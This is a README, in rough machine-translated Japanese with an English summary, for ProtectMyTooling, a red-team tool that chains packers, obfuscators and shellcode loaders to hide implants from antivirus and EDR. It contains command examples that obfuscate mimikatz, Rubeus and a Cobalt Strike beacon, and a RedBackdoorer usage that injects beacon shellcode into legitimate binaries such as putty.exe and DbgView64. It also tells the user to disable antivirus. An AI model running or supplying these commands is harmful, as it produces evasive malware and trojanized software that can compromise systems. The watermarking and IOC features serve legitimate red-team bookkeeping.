ProtectMyTooling - マルチパッカーラッパーを使用すると、さまざまなパッカー、難読化ツール、その他のレッドチーム指向の武器をデイジーチェーン接続できます。アーティファクトの透かし、IOCコレクション、PEバックドアが特徴です。あなたはそれをあなたのインプラントで養います、それは多くの卑劣なことをし、難読化された実行可能ファイルを吐き出します。

(Multi-Packer wrapper letting us daisy-chain various packers, obfuscators and other Red Team oriented weaponry. Featured with artifacts watermarking, IOCs collection & PE Backdooring. You feed it with your implant, it does a lot of sneaky things and spits out obfuscated executable.)

Created at: 2021-09-28 17:47:45
Language: PowerShell
License: MIT

1.png

ツールを検出しない-テクニックを検出する

このソフトウェアのリリースの背後にある理論的根拠は、付随するブログ投稿で概説されています。

イントロ

多数のパッカー、プロテクター、難読化ツール、シェルコードローダー、エンコーダー、ジェネレーターをラップして、複雑な保護されたRedTeamインプラントを生成するスクリプト。マルウェア開発CI/CDパイプラインの完璧なコンパニオンであり、アーティファクトの透かし入れ、IOCの収集、バックドアなどを支援します

ProtectMyToolingGUI.py

3.png

これにより

ProtectMyTooling
、すべてのダイアログ、インターフェイス、メニューをクリックしたり、単一のバイナリを難読化するプロジェクトを作成したり、利用可能なすべてのオプションをクリックしたり、意味のないことについて時間を無駄にしたりすることなく、バイナリをすばやく難読化できます。ツールを難読化するために、要点をまっすぐに理解できます。

目的は、可能な限り最も便利なインターフェースを提供し、単一のバイナリーに結合された複数のパッカーのデイジーチェーンを活用できるようにすることです。

ProtectMyTooling
そうです-一度に複数のパッカーで起動できます:

C:\> py ProtectMyTooling.py hyperion,upx mimikatz.exe mimikatz-obf.exe

上記の例では、最初

mimikatz.exe
に難読化のためにHyperionに渡され、次に結果が圧縮のためにUPXに提供されます。結果として
UPX(Hyperion(file))

特徴

  • 複数の異なるPEパッカー、.NET難読化ツール、シェルコードローダー/ビルダーをサポートします
  • パッカーからの出力が連続するパッカーに渡されるデイジーチェーンパッカーを許可します:
    callobf,hyperion,upx
    アーティファクトを生成します
    UPX(Hyperion(CallObf(file)))
  • 難読化のすべてのステップでIOCを収集し、監査とブルーチームの要求を満たすことができるようにします
  • 結果のPEアーティファクトにカスタム透かしを挿入する機能を提供します-DOSスタブでは、チェックサムをスタンドアロンPEセクションとして、ファイルのオーバーレイに挿入します
  • 便利なCobaltStrikeアグレッサースクリプトを持ってき
    protected-upload
    protected-execute-assembly
    コマンドを思い付く
  • 簡単なコマンドラインの使用法

インストール

ほとんどのパッカーはネイティブにそのプラットフォームをターゲットにしているため、このツールはWindowsで動作するように設計されています。

一部の機能はLinuxで問題なく動作する可能性がありますが、サポートが完全にテストされていない場合でも、バグや問題を報告してください。

  1. まず、AVを無効に
    contrib
    し、ディレクトリを除外に追加します。そのディレクトリには、AVによってフラグが付けられて削除される難読化ツール、プロテクターが含まれています。
  2. 次に、このリポジトリのクローンを作成します
PS C:\> git clone --recurse https://github.com/Binary-Offensive/ProtectMyTooling
  1. 実際のインストールは簡単です。

ウィンドウズ

PS C:\ProtectMyTooling> .\install.ps1

Linux

bash# ./install.sh

ギミック

ScareCrow
パッカーをWindows10で実行するには、がインストールされて利用可能である必要があり
WSL
ます
bash.exe
(で
%PATH%
)。次に、WSL
golang
では少なくとも
1.16
次のバージョンでインストールする必要があります。

cmd> bash
bash$ sudo apt update ; sudo apt upgrade -y ; sudo apt install golang=2:1.18~3 -y

構成

サポートされている難読化ツールをプラグインする、デフォルトオプションを変更する、またはProtectMyToolingを難読化ツールの実行可能パスにポイントするには、

config\ProtectMyTooling.yaml
構成ファイルを調整する必要があります。

config\sample-full-config.yaml
サポートされているすべてのパッカーで使用可能なすべてのオプションを含むファイルもあり、参照ポイントとして機能します。

フレンドリーなリマインダー

  • 生成されたバイナリがクラッシュするか、期待どおりに実行されない場合は、別のパッカーチェーンを使用してみてください。
  • パッカーは、生成されたバイナリの安定性を保証しないため、ProtectMyToolingも同様に保証できません。
  • 連鎖する間、連続するパッカーが期待するものに従って、出力->入力ペイロード形式を注意深く一致させます。

使用法

を最初に使用する前

ProtectMyTooling
に、プログラムのYAML構成ファイルを調整することが不可欠です
ProtectMyTooling.yaml
。処理パラメータの順序は次のとおりです。

  • まず、デフォルトのパラメータが使用されます
  • 次に、YAMLからの値で上書きされます
  • 最後に、コマンドラインで提供されるものはすべて、対応する値を上書きします

そこでは、サポートされているパッカーパスとオプションを有効に設定する必要があります。

シナリオ1:単純なConfuserEx難読化

使用法は非常に簡単です。必要なのは、難読化ツールの名前を渡して、ファイルパスを選択、入力、および出力することだけです。

C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;\''';;;;\'\''',;;;'````;;;;;;;;\'\'''
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;\'''.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <mb@binary-offensive.com>
    v0.15

[.] Processing x86 file: "\Rubeus.exe"
[.] Generating output of ConfuserEx(<file>)...

[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 756224, ratio: 181.23%

シナリオ2:単純なConfuserEx難読化とそれに続くアーティファクトテスト

また、ファイルを難読化し、すぐに(提供されたオプションのパラメーターを使用して)起動して、オプションで正常に実行されるようにすることもできます

-r --cmdline CMDLINE

C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe -r --cmdline "hash /password:foobar"

    [...]

[.] Processing x86 file: "\Rubeus.exe"
[.] Generating output of ConfuserEx(<file>)...

[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 758272, ratio: 181.72%


Running application to test it...

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


[*] Action: Calculate Password Hash(es)

[*] Input password             : foobar
[*]       rc4_hmac             : BAAC3929FABC9E6DCD32421BA94A84D4

[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!

シナリオ3:透かしとIOCの収集による複雑なマルウェアの難読化

以下のユースケースは

beacon.exe
入力を受け取り、それを連続して
CallObf
->
UPX
->
Hyperion
パッカーにフィードします。

次に、指定され

fooobar
た透かしを最終的に生成された出力アーティファクトのDOSスタブに挿入し、そのアーティファクトのチェックサムを値で変更します
0xAABBCCDD

最後に、ProtectMyToolingはすべてのIOC(md5、sha1、sha256、imphash、およびその他のメタデータ)をキャプチャし、それらを補助CSVファイルに保存します。そのファイルは、エンゲージメントが展開するときにIOCマッチングに使用できます。

PS> py .\ProtectMyTooling.py callobf,upx,hyperion beacon.exe beacon-obf.exe -i -I operation_chimera -w dos-stub=fooobar -w checksum=0xaabbccdd

    [...]

[.] Processing x64 file: "beacon.exe"
[>] Generating output of CallObf(<file>)...

[.] Before obfuscation file's PE IMPHASH:       17b461a082950fc6332228572138b80c
[.] After obfuscation file's PE IMPHASH:        378d9692fe91eb54206e98c224a25f43
[>] Generating output of UPX(CallObf(<file>))...

[>] Generating output of Hyperion(UPX(CallObf(<file>)))...

[+] Setting PE checksum to 2864434397 (0xaabbccdd)
[+] Successfully watermarked resulting artifact file.
[+] IOCs written to: beacon-obf-ioc.csv

[+] SUCCEEDED. Original file size: 288256 bytes, new file size Hyperion(UPX(CallObf(<file>))): 175616, ratio: 60.92%

生成されたIOC証拠CSVファイルは次のようになります。

timestamp,filename,author,context,comment,md5,sha1,sha256,imphash
2022-06-10 03:15:52,beacon.exe,mgeeky@commandoVM,Input File,test,dcd6e13754ee753928744e27e98abd16,298de19d4a987d87ac83f5d2d78338121ddb3cb7,0a64768c46831d98c5667d26dc731408a5871accefd38806b2709c66cd9d21e4,17b461a082950fc6332228572138b80c
2022-06-10 03:15:52,y49981l3.bin,mgeeky@commandoVM,Obfuscation artifact: CallObf(<file>),test,50bbce4c3cc928e274ba15bff0795a8c,15bde0d7fbba1841f7433510fa9aa829f8441aeb,e216cd8205f13a5e3c5320ba7fb88a3dbb6f53ee8490aa8b4e1baf2c6684d27b,378d9692fe91eb54206e98c224a25f43
2022-06-10 03:15:53,nyu2rbyx.bin,mgeeky@commandoVM,Obfuscation artifact: UPX(CallObf(<file>)),test,4d3584f10084cded5c6da7a63d42f758,e4966576bdb67e389ab1562e24079ba9bd565d32,97ba4b17c9bd9c12c06c7ac2dc17428d509b64fc8ca9e88ee2de02c36532be10,9aebf3da4677af9275c461261e5abde3
2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Obfuscation artifact: Hyperion(UPX(CallObf(<file>))),test,8b706ff39dd4c8f2b031c8fa6e3c25f5,c64aad468b1ecadada3557cb3f6371e899d59790,087c6353279eb5cf04715ef096a18f83ef8184aa52bc1d5884e33980028bc365,a46ea633057f9600559d5c6b328bf83d
2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Output obfuscated artifact,test,043318125c60d36e0b745fd38582c0b8,a7717d1c47cbcdf872101bd488e53b8482202f7f,b3cf4311d249d4a981eb17a33c9b89eff656fff239e0d7bb044074018ec00e20,a46ea633057f9600559d5c6b328bf83d

サポートされているパッカー

ProtectMyTooling
難読化ツール/パッカーだけでなく、コマンドラインから使用できるあらゆる種類のビルダー/ジェネレーター/シェルコードローダーをサポートするように設計されています。

現在、プログラムはさまざまな商用およびオープンソースのパッカー/難読化ツールをサポートしています。それらのオープンソースのものはプロジェクト内にバンドルされています。 商用のものでは、ユーザーが製品を購入し、

ProtectMyTooling.yaml
ファイル内でその場所を構成して、スクリプトがそれらを見つける場所を指定する必要があります。

  1. Amber
    -入力時にEXE/DLLを受け取り、EXE/PICシェルコードを生成するリフレクティブPEパッカー
  2. AsStrongAsFuck
    -Charterinoによる.NETアセンブリ用のコンソール難読化ツール
  3. CallObfuscator
    -特定のWindowsAPIをさまざまなAPIで難読化します。
  4. ConfuserEx
    -MartinKaringからフォークされた人気の.NET難読化ツール
  5. Donut
    -入力時にEXE/DLL / .NETを受け取り、PICシェルコードを生成する人気のあるPEローダー
  6. Enigma
    -実行可能ファイルの包括的な保護のために設計された強力なシステム
  7. Hyperion
    --32ビットおよび64ビットのポータブル実行可能ファイル用のランタイムエンクリプター。これはリファレンス実装であり、「Hyperion:PE-Crypterの実装」という論文に基づいています。
  8. IntelliLock
    -強力なライセンスセキュリティ、適応性の高いライセンス機能/スキーマ、および信頼性の高いアセンブリ保護を組み合わせています
  9. InvObf
    --Powershellスクリプトを
    Invoke-Obfuscation
    (Daniell Bohannonによる)難読化する
  10. LoGiC.NET
    -AnErrupTionによるdnlibを使用した、より高度な無料のオープンな.NET難読化ツール
  11. Mangle
    -入力EXE/DLLファイルを取得し、複製された証明書、削除されたGolang固有のIoC、および肥大化したサイズを含む出力ファイルを生成します。Matt Eidelberg(@ Tyl0us)による。
  12. MPRESS
    --VitalyEvseenkoによるMPRESSコンプレッサー。入力EXE/DLL / .NET / MAC-DARWIN(x86 / x64)を取得し、圧縮します。
  13. NetReactor
    -誰もがあなたのコードを逆コンパイルするのを完全に防ぐ比類のない.NETコード保護システム
  14. NetShrink
    -実行可能コンプレッサー、アプリケーションパスワードプロテクター、WindowsおよびLinux.NETアプリケーション用の仮想DLLバインダーとして知られるexeパッカー。
  15. Nimcrypt2
    -入力.NET、PE、またはRawシェルコードを実行するNimローダーを生成します。作成者(@icyguider)
  16. NimPackt-v1
    -入力時にShellcodeまたは.NETExecutableを取得し、EXEまたはDLLローダーを生成します。Cas van Cooten (@chvancooten)がお届けします
  17. NimSyscallPacker
    -PE / Shellcode / .NET実行可能ファイルを取得し、堅牢なNim + Syscalls EXE/DLLローダーを生成します。(@ S3cur3Th1sSh1t)によって作成されたスポンサーウェア
  18. Packer64
    -ジョン・アダムズのラッパー
    Packer64
  19. pe2shc
    -PEをシェルコードに変換します。本当に@hasherezade
  20. peCloak
    -マルチパスエンコーダーとヒューリスティックサンドボックスバイパスAV回避ツール
  21. peresed
    -avast / pe_toolsの「peresed」を使用して、既存のすべてのPEリソースと署名を削除します(Mimikatzアイコンを考えてください)。
  22. ScareCrow
    -DLL / CPL / XLL / JScript/HTAアーティファクトローダーを生成するEDR回避x64シェルコードローダー
  23. sgn
    --四方がない(四がない)エンコーダーが移植され、いくつかの改良が加えられました。シェルコードを受け取り、エンコードされたシェルコードを生成します
  24. SmartAssembly
    -サードパーティがソースコードにアクセスするのを困難にすることにより、リバースエンジニアリングや変更からアプリケーションを保護するのに役立つ難読化ツール
  25. sRDI
    -DLLを位置独立シェルコードに変換します。作成者:Nick Landers、@ monoxgas
  26. Themida
    -高度なWindowsソフトウェア保護システム
  27. UPX
    -いくつかの実行可能形式用の無料、ポータブル、拡張可能、高性能の実行可能パッカー。
  28. VMProtect
    -ソフトウェアの分析とクラックを非常に困難にする非標準アーキテクチャの仮想マシンでコードを実行することにより、コードを保護します

オプションを使用して、サポートされているパッカーをすばやく一覧表示でき

-L
ます(テーブルの列は端末の幅に応じて選択され、幅が広いほど、より多くの情報が表示されます)。

C:\> py ProtectMyTooling.py -L
    [...]

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <mb@binary-offensive.com>
    v0.15

+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| #  |      Name      |     Type    |       Licensing       |            Input            |         Output         |                         Author                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| 1  |     amber      | open-source |    Shellcode Loader   |              PE             |     EXE, Shellcode     |                       Ege Balci                        |
| 2  | asstrongasfuck | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 Charterino, klezVirus                  |
| 3  |    backdoor    | open-source |    Shellcode Loader   |          Shellcode          |           PE           |              Mariusz Banach, @mariuszbit               |
| 4  |    callobf     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                Mustafa Mahmoud, @d35ha                 |
| 5  |   confuserex   | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                        mkaring                         |
| 6  |  donut-packer  | open-source |  Shellcode Converter  | PE, .NET, VBScript, JScript |       Shellcode        |                        TheWover                        |
| 7  |     enigma     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |          The Enigma Protector Developers Team          |
| 8  |    hyperion    | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                   nullsecurity team                    |
| 9  |  intellilock   |  commercial |    .NET Obfuscator    |              PE             |           PE           |                         Eziriz                         |
| 10 |     invobf     | open-source | Powershell Obfuscator |          Powershell         |       Powershell       |                    Daniel Bohannon                     |
| 11 |    logicnet    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 AnErrupTion, klezVirus                 |
| 12 |     mangle     | open-source |   Executable Signing  |              PE             |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 13 |     mpress     |   freeware  | PE EXE/DLL Compressor |              PE             |           PE           |                    Vitaly Evseenko                     |
| 14 |   netreactor   |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                         Eziriz                         |
| 15 |   netshrink    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                     Bartosz Wójcik                     |
| 16 |   nimcrypt2    | open-source |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                       @icyguider                       |
| 17 |    nimpackt    | open-source |    Shellcode Loader   |       .NET, Shellcode       |           PE           |             Cas van Cooten (@chvancooten)              |
| 18 |   nimsyscall   | sponsorware |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                    @S3cur3Th1sSh1t                     |
| 19 |    packer64    | open-source | PE EXE/DLL Compressor |              PE             |           PE           |                  John Adams, @jadams                   |
| 20 |     pe2shc     | open-source |  Shellcode Converter  |              PE             |       Shellcode        |                      @hasherezade                      |
| 21 |    pecloak     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |     Mike Czumak, @SecuritySift, buherator / v-p-b      |
| 22 |    peresed     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                  Martin Vejnár, Avast                  |
| 23 |   scarecrow    | open-source |    Shellcode Loader   |          Shellcode          | DLL, JScript, CPL, XLL |                Matt Eidelberg (@Tyl0us)                |
| 24 |      sgn       | open-source |   Shellcode Encoder   |          Shellcode          |       Shellcode        |                       Ege Balci                        |
| 25 | smartassembly  |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                        Red-Gate                        |
| 26 |      srdi      | open-source |   Shellcode Encoder   |             DLL             |       Shellcode        |                Nick Landers, @monoxgas                 |
| 27 |    themida     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                         Oreans                         |
| 28 |      upx       | open-source | PE EXE/DLL Compressor |              PE             |           PE           | Markus F.X.J. Oberhumer, László Molnár, John F. Reiser |
| 29 |   vmprotect    |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                        vmpsoft                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+

上記はサポートされているパッカーですが、構成済みですぐに使用できるという意味ではありません。 それらの使用法を準備するには、最初に必要なバイナリを

contrib
ディレクトリに提供してから、それに応じてYAMLファイルを構成する必要があります。

RedWatermarker-組み込みのアーティファクト透かし

アーティファクトの透かしとIOCコレクション

このプログラムは、プロのレッドチームを対象としており、一般的なインプラント開発CI/CDパイプラインでの使用に最適です。 レッドチーマーとして、私は常にすべてのインプラントに一致するIOCの適切な品質リストを提供することが期待されています。また、簿記、帰属、およびトレーサビリティの目的で、すべてのインプラントに透かしを入れることが不可欠であると考えています。

これらの要件に対応するために、ProtectMyToolingはそれらの基本的なサポートを提供します。

アーティファクト透かし

ProtectMyTooling
--watermark
オプションを使用するだけで、難読化ラウンドの後に透かしを適用できます。

py ProtectMyTooling [...] -w dos-stub=fooooobar -w checksum=0xaabbccdd -w section=.coco,ALLYOURBASEAREBELONG

RedWatermarker.py
スクリプトに含まれているスタンドアロンのアプローチもあります。

入力時に実行可能なアーティファクトを受け取り、透かしを挿入する場所と挿入する値を示すいくつかのパラメーターを受け入れます。

実行例では、PEチェックサムを0xAABBCCDDに設定し、

foooobar
PEファイルのDOSスタブに挿入し(このプログラムを含むバイトは実行できません...)、
bazbazbaz
ファイルのオーバーレイに追加し、ファイルの最後に追加という名前の新しいPEセクションを作成して
.coco
それを埋めますプリセットマーカー付きのセクション。

py RedWatermarker.py beacon-obf.exe -c 0xaabbccdd -t fooooobar -e bazbazbaz -s .coco,ALLYOURBASEAREBELONG

完全なウォーターマークの使用法:

cmd> py RedWatermarker.py --help

                      ;
                      ED.
                     ,E#Wi
  j.               f#iE###G.
  EW,            .E#t E#fD#W;
  E##j          i#W,  E#t t##L
  E###D.       L#D.   E#t  .E#K,
  E#jG#W;    :K#Wfff; E#t    j##f
  E#t t##f   i##WLLLLtE#t    :E#K:
  E#t  :K#E:  .E#L    E#t   t##L
  E#KDDDD###i   f#E:  E#t .D#W;                  ,;                                                      G:              ,;
  E#f,t#Wi,,,    ,WW; E#tiW#G.                 f#i j.                                          j.        E#,    :      f#i j.
  E#t  ;#W: ;     .D#;E#K##i .. GEEEEEEEL    .E#t  EW,                 ..       :           .. EW,       E#t  .GE    .E#t  EW,
  DWi   ,K.DL       ttE##D. ;W, ,;;L#K;;.   i#W,   E##j               ,W,     .Et          ;W, E##j      E#t j#K;   i#W,   E##j
  f.     :K#L     LWL E#t  j##,    t#E     L#D.    E###D.            t##,    ,W#t         j##, E###D.    E#GK#f    L#D.    E###D.
  EW:   ;W##L   .E#f  L:  G###,    t#E   :K#Wfff;  E#jG#W;          L###,   j###t        G###, E#jG#W;   E##D.   :K#Wfff;  E#jG#W;
  E#t  t#KE#L  ,W#;     :E####,    t#E   i##WLLLLt E#t t##f       .E#j##,  G#fE#t      :E####, E#t t##f  E##Wi   i##WLLLLt E#t t##f
  E#t f#D.L#L t#K:     ;W#DG##,    t#E    .E#L     E#t  :K#E:    ;WW; ##,:K#i E#t     ;W#DG##, E#t  :K#E:E#jL#D:  .E#L     E#t  :K#E:
  E#jG#f  L#LL#G      j###DW##,    t#E      f#E:   E#KDDDD###i  j#E.  ##f#W,  E#t    j###DW##, E#KDDDD###E#t ,K#j   f#E:   E#KDDDD###i
  E###;   L###j      G##i,,G##,    t#E       ,WW;  E#f,t#Wi,,,.D#L    ###K:   E#t   G##i,,G##, E#f,t#Wi,,E#t   jD    ,WW;  E#f,t#Wi,,,
  E#K:    L#W;     :K#K:   L##,    t#E        .D#; E#t  ;#W: :K#t     ##D.    E#t :K#K:   L##, E#t  ;#W: j#t          .D#; E#t  ;#W:
  EG      LE.     ;##D.    L##,     fE          tt DWi   ,KK:...      #G      .. ;##D.    L##, DWi   ,KK: ,;            tt DWi   ,KK:
  ;       ;@      ,,,      .,,       :                                j          ,,,      .,,


    Watermark thy implants, track them in VirusTotal
    Mariusz Banach / mgeeky '22, (@mariuszbit)
    <mb@binary-offensive.com>

usage: RedWatermarker.py [options] <infile>

options:
  -h, --help            show this help message and exit

Required arguments:
  infile                Input implant file

Optional arguments:
  -C, --check           Do not actually inject watermark. Check input file if it contains specified watermarks.
  -v, --verbose         Verbose mode.
  -d, --debug           Debug mode.
  -o PATH, --outfile PATH
                        Path where to save output file with watermark injected. If not given, will modify infile.

PE Executables Watermarking:
  -t STR, --dos-stub STR
                        Insert watermark into PE DOS Stub (This program cannot be run...).
  -c NUM, --checksum NUM
                        Preset PE checksum with this value (4 bytes). Must be number. Can start with 0x for hex value.
  -e STR, --overlay STR
                        Append watermark to the file's Overlay (at the end of the file).
  -s NAME,STR, --section NAME,STR
                        Append a new PE section named NAME and insert watermark there. Section name must be shorter than 8 characters. Section will be marked Read-Only, non-executable.

現在、PEファイルの透かしのみがサポートされていますが、将来的にはOfficeドキュメントやその他の形式も追加される予定です。

IOCコレクション

-i
IOCは、実行時にオプションを使用するだけで収集でき
ProtectMyTooling
ます。

それらは次のフェーズで収集されています。

  • 入力ファイル
  • 中間ファイルでの各難読化ラウンドの後
  • 最終出力ファイル

これらには、CSVファイルの形式で保存された次のフィールドが含まれます。

  • timestamp
  • filename
  • author
    -として形成された
    username@hostname
  • context
    -レコードが入力ファイル、出力ファイル、または中間ファイルを指しているかどうか
  • comment
    -I value
    -オプションを介してユーザーが調整した値
  • md5
  • sha1
  • sha256
  • imphash
    -可能な場合、PEはハッシュをインポートします
  • (TODO)
    typeref_hash
    -.NET TypeRefハッシュ(利用可能な場合)

outfile-ioc.csv
結果は、生成された出力アーティファクトと並べて保存された名前のCSVファイルになります。そのファイルはAPPENDモードで書き込まれます。つまり、後続のすべてのIOCを受信します。

RedBackdoorer-組み込みのPEバックドア

ProtectMyTooling
RedBackdoorer.py
PE実行可能ファイルをバックドアするためのいくつかのメソッドを提供する独自のスクリプトを利用します。 サポートは、という名前の専用パッカーとして提供され
backdoor
ます。使用例:

入力でCobaltStrikeシェルコードを取得し、SGN(Shikata Ga-Nai)でエンコードしてから、バックドアSysInternals DbgView64.exeを実行して、AmberEXEリフレクティブローダーを生成します。

PS> py ProtectMyTooling.py sgn,backdoor,amber beacon64.bin dbgview64-infected.exe -B dbgview64.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;;;;;,;;;'````;;;;;;;;
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <mb@binary-offensive.com>
    v0.15

[.] Processing x64 file :  beacon64.bin
[>] Generating output of sgn(<file>)...
[>] Generating output of backdoor(sgn(<file>))...
[>] Generating output of Amber(backdoor(sgn(<file>)))...

[+] SUCCEEDED. Original file size: 265959 bytes, new file size Amber(backdoor(sgn(<file>))): 1372672, ratio: 516.12%

RedBackdoorerの完全な使用法:

cmd> py RedBackdoorer.py --help

     ██▀███ ▓█████▓█████▄
    ▓██ ▒ ██▓█   ▀▒██▀ ██▌
    ▓██ ░▄█ ▒███  ░██   █▌
    ▒██▀▀█▄ ▒▓█  ▄░▓█▄   ▌
    ░██▓ ▒██░▒████░▒████▓
    ░ ▒▓ ░▒▓░░ ▒░ ░▒▒▓  ▒
      ░▒ ░ ▒░░ ░  ░░ ▒  ▒
      ░░   ░   ░   ░ ░  ░
     ▄▄▄▄   ▄▄▄░  ░  ▄████▄  ██ ▄█▓█████▄ ▒█████  ▒█████  ██▀███ ▓█████ ██▀███
    ▓█████▄▒████▄  ░▒██▀ ▀█  ██▄█▒▒██▀ ██▒██▒  ██▒██▒  ██▓██ ▒ ██▓█   ▀▓██ ▒ ██▒
    ▒██▒ ▄█▒██  ▀█▄ ▒▓█    ▄▓███▄░░██   █▒██░  ██▒██░  ██▓██ ░▄█ ▒███  ▓██ ░▄█ ▒
    ▒██░█▀ ░██▄▄▄▄██▒▓▓▄ ▄██▓██ █▄░▓█▄   ▒██   ██▒██   ██▒██▀▀█▄ ▒▓█  ▄▒██▀▀█▄
    ░▓█  ▀█▓▓█   ▓██▒ ▓███▀ ▒██▒ █░▒████▓░ ████▓▒░ ████▓▒░██▓ ▒██░▒████░██▓ ▒██▒
    ░▒▓███▀▒▒▒   ▓▒█░ ░▒ ▒  ▒ ▒▒ ▓▒▒▒▓  ▒░ ▒░▒░▒░░ ▒░▒░▒░░ ▒▓ ░▒▓░░ ▒░ ░ ▒▓ ░▒▓░
    ▒░▒   ░  ▒   ▒▒ ░ ░  ▒  ░ ░▒ ▒░░ ▒  ▒  ░ ▒ ▒░  ░ ▒ ▒░  ░▒ ░ ▒░░ ░  ░ ░▒ ░ ▒░
     ░    ░  ░   ▒  ░       ░ ░░ ░ ░ ░  ░░ ░ ░ ▒ ░ ░ ░ ▒   ░░   ░   ░    ░░   ░
     ░           ░  ░ ░     ░  ░     ░       ░ ░     ░ ░    ░       ░  ░  ░
          ░         ░              ░


    Your finest PE backdooring companion.
    Mariusz Banach / mgeeky '22, (@mariuszbit)
    <mb@binary-offensive.com>

usage: RedBackdoorer.py [options] <mode> <shellcode> <infile>

options:
  -h, --help            show this help message and exit

Required arguments:
  mode                  PE Injection mode, see help epilog for more details.
  shellcode             Input shellcode file
  infile                PE file to backdoor

Optional arguments:
  -o PATH, --outfile PATH
                        Path where to save output file with watermark injected. If not given, will modify infile.
  -v, --verbose         Verbose mode.

Backdooring options:
  -n NAME, --section-name NAME
                        If shellcode is to be injected into a new PE section, define that section name. Section name must not be longer than 7 characters. Default: .qcsw
  -i IOC, --ioc IOC     Append IOC watermark to injected shellcode to facilitate implant tracking.

Authenticode signature options:
  -r, --remove-signature
                        Remove PE Authenticode digital signature since its going to be invalidated anyway.

------------------

PE Backdooring <mode> consists of two comma-separated options.
First one denotes where to store shellcode, second how to run it:

<mode>

    save,run
      |   |
      |   +---------- 1 - change AddressOfEntryPoint
      |               2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
      |               3 - setup TLS callback
      |
      +-------------- 1 - store shellcode in the middle of a code section
                      2 - append shellcode to the PE file in a new PE section
Example:

    py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe

コバルトストライクの統合

ProtectMyTooling.py
入力実行可能ファイルを保護および圧縮された出力フォームに簡単に変換し、CobaltStrike内からアップロードまたは使用するために、構成済みのPE/.NETパッカー/プロテクターのラッパーとして使用されるものを統合するスクリプトもあります。

